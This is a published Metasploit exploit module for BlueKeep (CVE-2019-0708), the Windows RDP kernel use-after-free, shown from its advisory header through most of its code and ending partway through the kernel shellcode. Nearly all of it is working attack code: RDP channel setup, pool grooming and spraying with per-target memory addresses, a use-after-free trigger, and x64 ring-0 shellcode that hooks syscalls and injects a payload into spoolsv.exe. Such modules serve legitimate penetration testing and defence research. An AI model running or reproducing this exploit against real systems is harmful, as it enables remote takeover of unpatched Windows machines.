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BlueKeep RDP Remote Windows Kernel Use-After-Free

BlueKeep RDP Remote Windows Kernel Use-After-Free
Posted Sep 23, 2019
Authored by OJ Reeves, Sean Dillon, Brent Cook, Ryan Hanson | Site metasploit.com

The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120, allowing a malformed Disconnect Provider Indication message to cause a use-after-free. With a controllable data/size remote nonpaged pool spray, an indirect call gadget of the freed channel is used to achieve arbitrary code execution.

tags | exploit, remote, arbitrary, code execution
advisories | CVE-2019-0708
MD5 | 4069a796ff839c408647778ed5820d03

BlueKeep RDP Remote Windows Kernel Use-After-Free

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# Exploitation and Caveats from zerosum0x0:
#
# 1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.
# 2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)
# 3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120.
# 4. RDP has chunked messages, so we use this to groom.
# a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.
# b. However, on 7+, MS_T120 will not work and you have to use RDPSND.
# i. RDPSND only works when
# HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
# ii. This registry key is not a default setting for server 2008 R2.
# We should use alternate groom channels or at least detect the
# channel in advance.
# 5. Use chunked grooming to fit new data in the freed channel, account for
# the allocation header size (like 0x38 I think?). At offset 0x100? is where
# the "call [rax]" gadget will get its pointer from.
# a. The NonPagedPool (NPP) starts at a fixed address on XP-7
# i. Hot-swap memory is another problem because, with certain VMWare and
# Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP
# start. This can be anywhere from 100 mb to gigabytes of offset
# before the NPP start.
# b. Set offset 0x100 to NPPStart+SizeOfGroomInMB
# c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need
# [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an
# indirect call
# d. We are limited to 0x400 payloads by channel chunk max size. My
# current shellcode is a twin shellcode with eggfinders. I spam the
# kernel payload and user payload, and if user payload is called first it
# will egghunt for the kernel payload.
# 6. After channel hole is filled and the NPP is spammed up with shellcode,
# trigger the free by closing the socket.
#
# TODO:
# * Detect OS specifics / obtain memory leak to determine NPP start address.
# * Write the XP/2003 portions grooming MS_T120.
# * Detect if RDPSND grooming is working or not?
# * Expand channels besides RDPSND/MS_T120 for grooming.
# See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/
#
# https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming
# MS_T120 on XP... should be same process as the RDPSND

class MetasploitModule < Msf::Exploit::Remote

Rank = ManualRanking

USERMODE_EGG = 0xb00dac0fefe31337
KERNELMODE_EGG = 0xb00dac0fefe42069

CHUNK_SIZE = 0x400
HEADER_SIZE = 0x48

include Msf::Exploit::Remote::RDP
include Msf::Exploit::Remote::CheckScanner

def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',
'Description' => %q(
The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,
allowing a malformed Disconnect Provider Indication message to cause use-after-free.
With a controllable data/size remote nonpaged pool spray, an indirect call gadget of
the freed channel is used to achieve arbitrary code execution.
),
'Author' =>
[
'Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0 - Original exploit
'Ryan Hanson', # @ryHanson - Original exploit
'OJ Reeves <oj@beyondbinary.io>', # @TheColonial - Metasploit module
'Brent Cook <bcook@rapid7.com>', # @busterbcook - Assembly whisperer
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-0708'],
['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 5,
'RDP_CLIENT_NAME' => 'ethdev',
'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep'
},
'Privileged' => true,
'Payload' =>
{
'Space' => CHUNK_SIZE - HEADER_SIZE,
'EncoderType' => Msf::Encoder::Type::Raw,
},
'Platform' => 'win',
'Targets' =>
[
[
'Automatic targeting via fingerprinting',
{
'Arch' => [ARCH_X64],
'FingerprintOnly' => true
},
],
#
#
# Windows 2008 R2 requires the following registry change from default:
#
# [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd]
# "fDisableCam"=dword:00000000
#
[
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8003800000,
'GROOMSIZE' => 100
}
],
[
# This works with Virtualbox 6
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8002407000
}
],
[
# This address works on VMWare 14
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8030c00000
}
],
[
# This address works on VMWare 15
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8018C00000
}
],
[
# This address works on VMWare 15.1
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8018c08000
}
],
[
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8102407000
}
],
[
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8018c08000
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 14 2019',
'Notes' =>
{
'AKA' => ['Bluekeep']
}
))

register_advanced_options(
[
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),
OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),
OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),
]
)
end

def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

if target['FingerprintOnly']
fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually')
end

begin
rdp_connect
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
end

is_rdp, server_selected_proto = rdp_check_protocol
unless is_rdp
fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
end

# We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us
# from exploiting the target.
if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)
fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.')
end

chans = [
['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP],
[datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
[datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
]

@mst120_chan_id = 1004 + chans.length - 1

unless rdp_negotiate_security(chans, server_selected_proto)
fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.')
end

rdp_establish_session

rdp_dispatch_loop
end

private

# This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is
# received on a channel, and this is when we need to kick off our exploit.
def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)
# We have to do the default behaviour first.
super(pkt, user, chan_id, flags, data)

groom_size = datastore['GROOMSIZE']
pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size)
groom_chan_count = datastore['GROOMCHANNELCOUNT']

payloads = create_payloads(pool_addr)

print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.")

target_channel_id = chan_id + 1

spray_buffer = create_exploit_channel_buffer(pool_addr)
spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)
free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80

print_status("Surfing channels ...")
rdp_send(spray_channel * 1024)
rdp_send(free_trigger)

chan_surf_size = 0x421
spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min
chan_surf_packet = spray_channel * spray_packets
chan_surf_count = chan_surf_size / spray_packets

chan_surf_count.times do
rdp_send(chan_surf_packet)
end

print_status("Lobbing eggs ...")

groom_mb = groom_size * 1024 / payloads.length

groom_mb.times do
tpkts = ''
for c in 0..groom_chan_count
payloads.each do |p|
tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)
end
end
rdp_send(tpkts)
end

# Terminating and disconnecting forces the USE
print_status("Forcing the USE of FREE'd object ...")
rdp_terminate
rdp_disconnect
end

# Helper function to create the kernel mode payload and the usermode payload with
# the egg hunter prefix.
def create_payloads(pool_address)
begin
[kernel_mode_payload, user_mode_payload].map { |p|
[
pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg
p
].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, "\x00")
}
rescue => ex
print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})")
end
end

def assemble_with_fixups(asm)
# Rewrite all instructions of form 'lea reg, [rel label]' as relative
# offsets for the instruction pointer, since metasm's 'ModRM' parser does
# not grok that syntax.
lea_rel = /lea+\s(?<dest>\w{2,3}),*\s\[rel+\s(?<label>[a-zA-Z_].*)\]/
asm.gsub!(lea_rel) do |match|
match = "lea #{$1}, [rip + #{$2}]"
end

# metasm encodes all rep instructions as repnz
# https://github.com/jjyg/metasm/pull/40
asm.gsub!(/rep+\smovsb/, 'db 0xf3, 0xa4')

encoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded

# Fixup above rewritten instructions with the relative label offsets
encoded.reloc.each do |offset, reloc|
target = reloc.target.to_s
if encoded.export.key?(target)
# Note: this assumes the address we're fixing up is at the end of the
# instruction. This holds for 'lea' but if there are other fixups
# later, this might need to change to account for specific instruction
# encodings
if reloc.type == :i32
instr_offset = offset + 4
elsif reloc.type == :i16
instr_offset = offset + 2
end
encoded.fixup(target => encoded.export[target] - instr_offset)
else
raise "Unknown symbol '#{target}' while resolving relative offsets"
end
end
encoded.fill
encoded.data
end

# The user mode payload has two parts. The first is an egg hunter that searches for
# the kernel mode payload. The second part is the actual payload that's invoked in
# user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel
# and user mode payloads around the heap in different packets because we don't have
# enough space to put them both in the same chunk. Given that code exec can result in
# landing on the user land payload, the egg is used to go to a kernel payload.
def user_mode_payload

asm = %Q^
_start:
lea rcx, [rel _start]
mov r8, 0x#{KERNELMODE_EGG.to_s(16)}
_egg_loop:
sub rcx, 0x#{CHUNK_SIZE.to_s(16)}
sub rax, 0x#{CHUNK_SIZE.to_s(16)}
mov rdx, [rcx - 8]
cmp rdx, r8
jnz _egg_loop
jmp rcx
^
egg_loop = assemble_with_fixups(asm)

# The USERMODE_EGG is required at the start as well, because the exploit code
# assumes the tag is there, and jumps over it to find the shellcode.
[
USERMODE_EGG,
egg_loop,
USERMODE_EGG,
payload.raw
].pack('<Qa*<Qa*')
end

def kernel_mode_payload

# Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya
#
# This shellcode was written originally for eternalblue exploits
# eternalblue_exploit7.py and eternalblue_exploit8.py
#
# Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)
#
# Note:
# - The userland shellcode is run in a new thread of system process.
# If userland shellcode causes any exception, the system process get killed.
# - On idle target with multiple core processors, the hijacked system call
# might take a while (> 5 minutes) to get called because the system
# call may be called on other processors.
# - The shellcode does not allocate shadow stack if possible for minimal shellcode size.
# This is ok because some Windows functions do not require a shadow stack.
# - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.
# Note: the Windows 8 version macros are removed below
# - The userland payload MUST be appened to this shellcode.
#
# References:
# - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
# - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c

data_kapc_offset = 0x10
data_nt_kernel_addr_offset = 0x8
data_origin_syscall_offset = 0
data_peb_addr_offset = -0x10
data_queueing_kapc_offset = -0x8
hal_heap_storage = 0xffffffffffd04100

# These hashes are not the same as the ones used by the
# Block API so they have to be hard-coded.
createthread_hash = 0x835e515e
keinitializeapc_hash = 0x6d195cc4
keinsertqueueapc_hash = 0xafcc4634
psgetcurrentprocess_hash = 0xdbf47c78
psgetprocessid_hash = 0x170114e1
psgetprocessimagefilename_hash = 0x77645f3f
psgetprocesspeb_hash = 0xb818b848
psgetthreadteb_hash = 0xcef84c3e
spoolsv_exe_hash = 0x3ee083d8
zwallocatevirtualmemory_hash = 0x576e99ea

asm = %Q^
shellcode_start:
nop
nop
nop
nop
; IRQL is DISPATCH_LEVEL when got code execution

push rbp

call set_rbp_data_address_fn

; read current syscall
mov ecx, 0xc0000082
rdmsr
; do NOT replace saved original syscall address with hook syscall
lea r9, [rel syscall_hook]
cmp eax, r9d
je _setup_syscall_hook_done

; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize
cmp dword [rbp+#{data_origin_syscall_offset}], eax
je _hook_syscall

; save original syscall
mov dword [rbp+#{data_origin_syscall_offset}+4], edx
mov dword [rbp+#{data_origin_syscall_offset}], eax

; first time on the target
mov byte [rbp+#{data_queueing_kapc_offset}], 0

_hook_syscall:
; set a new syscall on running processor
; setting MSR 0xc0000082 affects only running processor
xchg r9, rax
push rax
pop rdx ; mov rdx, rax
shr rdx, 32
wrmsr

_setup_syscall_hook_done:
pop rbp

;--------------------- HACK crappy thread cleanup --------------------
; This code is effectively the same as the epilogue of the function that calls
; the vulnerable function in the kernel, with a tweak or two.

; TODO: make the lock not suck!!
mov rax, qword [gs:0x188]
add word [rax+0x1C4], 1 ; KeGetCurrentThread()->KernelApcDisable++
lea r11, [rsp+0b8h]
xor eax, eax
mov rbx, [r11+30h]
mov rbp, [r11+40h]
mov rsi, [r11+48h]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

;--------------------- END HACK crappy thread cleanup

;========================================================================
; Find memory address in HAL heap for using as data area
; Return: rbp = data address
;========================================================================
set_rbp_data_address_fn:
; On idle target without user application, syscall on hijacked processor might not be called immediately.
; Find some address to store the data, the data in this address MUST not be modified
; when exploit is rerun before syscall is called
;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]

; ------ HACK rbp wasnt valid!

mov rbp, #{hal_heap_storage} ; TODO: use some other buffer besides HAL heap??

; --------- HACK end rbp

_set_rbp_data_address_fn_next:
;shr rbp, 12
;shl rbp, 12
;sub rbp, 0x70 ; for KAPC struct too
ret

;int 3
;call $+5
;pop r13
syscall_hook:
swapgs
mov qword [gs:0x10], rsp
mov rsp, qword [gs:0x1a8]
push 0x2b
push qword [gs:0x10]

push rax ; want this stack space to store original syscall addr
; save rax first to make this function continue to real syscall
push rax
push rbp ; save rbp here because rbp is special register for accessing this shellcode data
call set_rbp_data_address_fn
mov rax, [rbp+#{data_origin_syscall_offset}]
add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler
mov [rsp+0x10], rax

; save all volatile registers
push rcx
push rdx
push r8
push r9
push r10
push r11

; use lock cmpxchg for queueing APC only one at a time
xor eax, eax
mov dl, 1
lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl
jnz _syscall_hook_done

;======================================
; restore syscall
;======================================
; an error after restoring syscall should never occur
mov ecx, 0xc0000082
mov eax, [rbp+#{data_origin_syscall_offset}]
mov edx, [rbp+#{data_origin_syscall_offset}+4]
wrmsr

; allow interrupts while executing shellcode
sti
call r3_to_r0_start
cli

_syscall_hook_done:
pop r11
pop r10
pop r9
pop r8
pop rdx
pop rcx
pop rbp
pop rax
ret

r3_to_r0_start:
; save used non-volatile registers
push r15
push r14
push rdi
push rsi
push rbx
push rax ; align stack by 0x10

;======================================
; find nt kernel address
;======================================
mov r15, qword [rbp+#{data_origin_syscall_offset}] ; KiSystemCall64 is an address in nt kernel
shr r15, 0xc ; strip to page size
shl r15, 0xc

_x64_find_nt_walk_page:
sub r15, 0x1000 ; walk along page size
cmp word [r15], 0x5a4d ; 'MZ' header
jne _x64_find_nt_walk_page

; save nt address for using in KernelApcRoutine
mov [rbp+#{data_nt_kernel_addr_offset}], r15

;======================================
; get current EPROCESS and ETHREAD
;======================================
mov r14, qword [gs:0x188] ; get _ETHREAD pointer from KPCR
mov edi, #{psgetcurrentprocess_hash}
call win_api_direct
xchg rcx, rax ; rcx = EPROCESS

; r15 : nt kernel address
; r14 : ETHREAD
; rcx : EPROCESS

;======================================
; find offset of EPROCESS.ImageFilename
;======================================
mov edi, #{psgetprocessimagefilename_hash}
call get_proc_addr
mov eax, dword [rax+3] ; get offset from code (offset of ImageFilename is always > 0x7f)
mov ebx, eax ; ebx = offset of EPROCESS.ImageFilename


;======================================
; find offset of EPROCESS.ThreadListHead
;======================================
; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)
; if offset of ImageFilename is more than 0x400, current is (Win8+)

cmp eax, 0x400 ; eax is still an offset of EPROCESS.ImageFilename
jb _find_eprocess_threadlist_offset_win7
add eax, 0x10
_find_eprocess_threadlist_offset_win7:
lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead

;======================================
; find offset of ETHREAD.ThreadListEntry
;======================================

lea r8, [rcx+rdx] ; r8 = address of EPROCESS.ThreadListHead
mov r9, r8

; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700
_find_ethread_threadlist_offset_loop:
mov r9, qword [r9]

cmp r8, r9 ; check end of list
je _insert_queue_apc_done ; not found !!!

; if (r9 - r14 < 0x700) found
mov rax, r9
sub rax, r14
cmp rax, 0x700
ja _find_ethread_threadlist_offset_loop
sub r14, r9 ; r14 = -(offset of ETHREAD.ThreadListEntry)


;======================================
; find offset of EPROCESS.ActiveProcessLinks
;======================================
mov edi, #{psgetprocessid_hash}
call get_proc_addr
mov edi, dword [rax+3] ; get offset from code (offset of UniqueProcessId is always > 0x7f)
add edi, 8 ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)


;======================================
; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
;======================================
; check process name


xor eax, eax ; HACK to exit earlier if process not found

_find_target_process_loop:
lea rsi, [rcx+rbx]

push rax
call calc_hash
cmp eax, #{spoolsv_exe_hash} ; "spoolsv.exe"
pop rax
jz found_target_process

;---------- HACK PROCESS NOT FOUND start -----------
inc rax
cmp rax, 0x300 ; HACK not found!
jne _next_find_target_process
xor ecx, ecx
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [rbp+#{data_queueing_kapc_offset}], cl

jmp _r3_to_r0_done

;---------- HACK PROCESS NOT FOUND end -----------

_next_find_target_process:
; next process
mov rcx, [rcx+rdi]
sub rcx, rdi
jmp _find_target_process_loop


found_target_process:
; The allocation for userland payload will be in KernelApcRoutine.
; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()

;======================================
; save process PEB for finding CreateThread address in kernel KAPC routine
;======================================
mov edi, #{psgetprocesspeb_hash}
; rcx is EPROCESS. no need to set it.
call win_api_direct
mov [rbp+#{data_peb_addr_offset}], rax


;======================================
; iterate ThreadList until KeInsertQueueApc() success
;======================================
; r15 = nt
; r14 = -(offset of ETHREAD.ThreadListEntry)
; rcx = EPROCESS
; edx = offset of EPROCESS.ThreadListHead


lea rsi, [rcx + rdx] ; rsi = ThreadListHead address
mov rbx, rsi ; use rbx for iterating thread

; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
; Moreover, alertable thread need to be waiting state which is more difficult to check.
; try queueing APC then check KAPC member is more reliable.

_insert_queue_apc_loop:
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
mov rbx, [rbx+8]

cmp rsi, rbx
je _insert_queue_apc_loop ; skip list head

; find start of ETHREAD address
; set it to rdx to be used for KeInitializeApc() argument too
lea rdx, [rbx + r14] ; ETHREAD

; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
; Teb member is next to Queue member.
mov edi, #{psgetthreadteb_hash}
call get_proc_addr
mov eax, dword [rax+3] ; get offset from code (offset of Teb is always > 0x7f)
cmp qword [rdx+rax-8], 0 ; KTHREAD.Queue MUST not be NULL
je _insert_queue_apc_loop

; KeInitializeApc(PKAPC,
; PKTHREAD,
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
; PKKERNEL_ROUTINE = kernel_apc_routine,
; PKRUNDOWN_ROUTINE = NULL,
; PKNORMAL_ROUTINE = userland_shellcode,
; KPROCESSOR_MODE = UserMode (1),
; PVOID Context);
lea rcx, [rbp+#{data_kapc_offset}] ; PAKC
xor r8, r8 ; OriginalApcEnvironment
lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine
push rbp ; context
push 1 ; UserMode
push rbp ; userland shellcode (MUST NOT be NULL)
push r8 ; NULL
sub rsp, 0x20 ; shadow stack
mov edi, #{keinitializeapc_hash}
call win_api_direct
; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later

; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
; SystemArgument1 is second argument in usermode code (rdx)
; SystemArgument2 is third argument in usermode code (r8)
lea rcx, [rbp+#{data_kapc_offset}]
;xor edx, edx ; no need to set it here
;xor r8, r8 ; no need to set it here
xor r9, r9
mov edi, #{keinsertqueueapc_hash}
call win_api_direct
add rsp, 0x40
; if insertion failed, try next thread
test eax, eax
jz _insert_queue_apc_loop

mov rax, [rbp+#{data_kapc_offset}+0x10] ; get KAPC.ApcListEntry
; EPROCESS pointer 8 bytes
; InProgressFlags 1 byte
; KernelApcPending 1 byte
; if success, UserApcPending MUST be 1
cmp byte [rax+0x1a], 1
je _insert_queue_apc_done

; manual remove list without lock
mov [rax], rax
mov [rax+8], rax
jmp _insert_queue_apc_loop

_insert_queue_apc_done:
; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.

_r3_to_r0_done:
pop rax
pop rbx
pop rsi
pop rdi
pop r14
pop r15
ret

;========================================================================
; Call function in specific module
;
; All function arguments are passed as calling normal function with extra register arguments
; Extra Arguments: r15 = module pointer
; edi = hash of target function name
;========================================================================
win_api_direct:
call get_proc_addr
jmp rax


;========================================================================
; Get function address in specific module
;
; Arguments: r15 = module pointer
; edi = hash of target function name
; Return: eax = offset
;========================================================================
get_proc_addr:
; Save registers
push rbx
push rcx
push rsi ; for using calc_hash

; use rax to find EAT
mov eax, dword [r15+60] ; Get PE header e_lfanew
mov eax, dword [r15+rax+136] ; Get export tables RVA

add rax, r15
push rax ; save EAT

mov ecx, dword [rax+24] ; NumberOfFunctions
mov ebx, dword [rax+32] ; FunctionNames
add rbx, r15

_get_proc_addr_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash
dec ecx ; decrement NumberOfFunctions
mov esi, dword [rbx+rcx*4] ; Get rva of next module name
add rsi, r15 ; Add the modules base address

call calc_hash

cmp eax, edi ; Compare the hashes
jnz _get_proc_addr_get_next_func ; try the next function

_get_proc_addr_finish:
pop rax ; restore EAT
mov ebx, dword [rax+36]
add rbx, r15 ; ordinate table virtual address
mov cx, word [rbx+rcx*2] ; desired functions ordinal
mov ebx, dword [rax+28] ; Get the function addresses table rva
add rbx, r15 ; Add the modules base address
mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA
add rax, r15 ; Add the modules base address to get the functions actual VA

pop rsi
pop rcx
pop rbx
ret

;========================================================================
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
;
; Argument: rsi = string to hash
; Clobber: rsi
; Return: eax = hash
;========================================================================
calc_hash:
push rdx
xor eax, eax
cdq
_calc_hash_loop:
lodsb ; Read in the next byte of the ASCII string
ror edx, 13 ; Rotate right our hash value
add edx, eax ; Add the next byte of the string
test eax, eax ; Stop when found NULL
jne _calc_hash_loop
xchg edx, eax
pop rdx
ret


; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
; Moreover, there is no lock when calling KernelApcRoutine.
; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.
;
; VOID KernelApcRoutine(
; IN PKAPC Apc,
; IN PKNORMAL_ROUTINE *NormalRoutine,
; IN PVOID *NormalContext,
; IN PVOID *SystemArgument1,
; IN PVOID *SystemArgument2)
kernel_kapc_routine:
push rbp
push rbx
push rdi
push rsi
push r15

mov rbp, [r8] ; *NormalContext is our data area pointer

mov r15, [rbp+#{data_nt_kernel_addr_offset}]
push rdx
pop rsi ; mov rsi, rdx
mov rbx, r9

;======================================
; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
;======================================
xor eax, eax
mov cr8, rax ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
; rdx is already address of baseAddr
mov [rdx], rax ; baseAddr = 0
mov ecx, eax
not rcx ; ProcessHandle = -1
mov r8, rax ; ZeroBits
mov al, 0x40 ; eax = 0x40
push rax ; PAGE_EXECUTE_READWRITE = 0x40
shl eax, 6 ; eax = 0x40 << 6 = 0x1000
push rax ; MEM_COMMIT = 0x1000
; reuse r9 for address of RegionSize
mov [r9], rax ; RegionSize = 0x1000
sub rsp, 0x20 ; shadow stack
mov edi, #{zwallocatevirtualmemory_hash}
call win_api_direct
add rsp, 0x30

; check error
test eax, eax
jnz _kernel_kapc_routine_exit

;======================================
; copy userland payload
;======================================
mov rdi, [rsi]

;--------------------------- HACK IN EGG USER ---------

push rdi

lea rsi, [rel shellcode_start]
mov rdi, 0x#{USERMODE_EGG.to_s(16)}

_find_user_egg_loop:
sub rsi, 0x#{CHUNK_SIZE.to_s(16)}
mov rax, [rsi - 8]
cmp rax, rdi
jnz _find_user_egg_loop

_inner_find_user_egg_loop:
inc rsi
mov rax, [rsi - 8]
cmp rax, rdi
jnz _inner_find_user_egg_loop

pop rdi
;--------------------------- END HACK EGG USER ------------

mov ecx, 0x380 ; fix payload size to 0x380 bytes

rep movsb

;======================================
; find CreateThread address (in kernel32.dll)
;======================================
mov rax, [rbp+#{data_peb_addr_offset}]
mov rax, [rax + 0x18] ; PEB->Ldr
mov rax, [rax + 0x20] ; InMemoryOrder list

;lea rsi, [rcx + rdx] ; rsi = ThreadListHead address
;mov rbx, rsi ; use rbx for iterating thread
_find_kernel32_dll_loop:
mov rax, [rax] ; first one always be executable
; offset 0x38 (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
; offset 0x48 (WORD) => must be 0x18 (name len kernel32.dll)
; offset 0x50 => is name
; offset 0x20 => is dllbase
;cmp word [rax+0x38], 0x40
;jne _find_kernel32_dll_loop
cmp word [rax+0x48], 0x18
jne _find_kernel32_dll_loop

mov rdx, [rax+0x50]
; check only "32" because name might be lowercase or uppercase
cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00
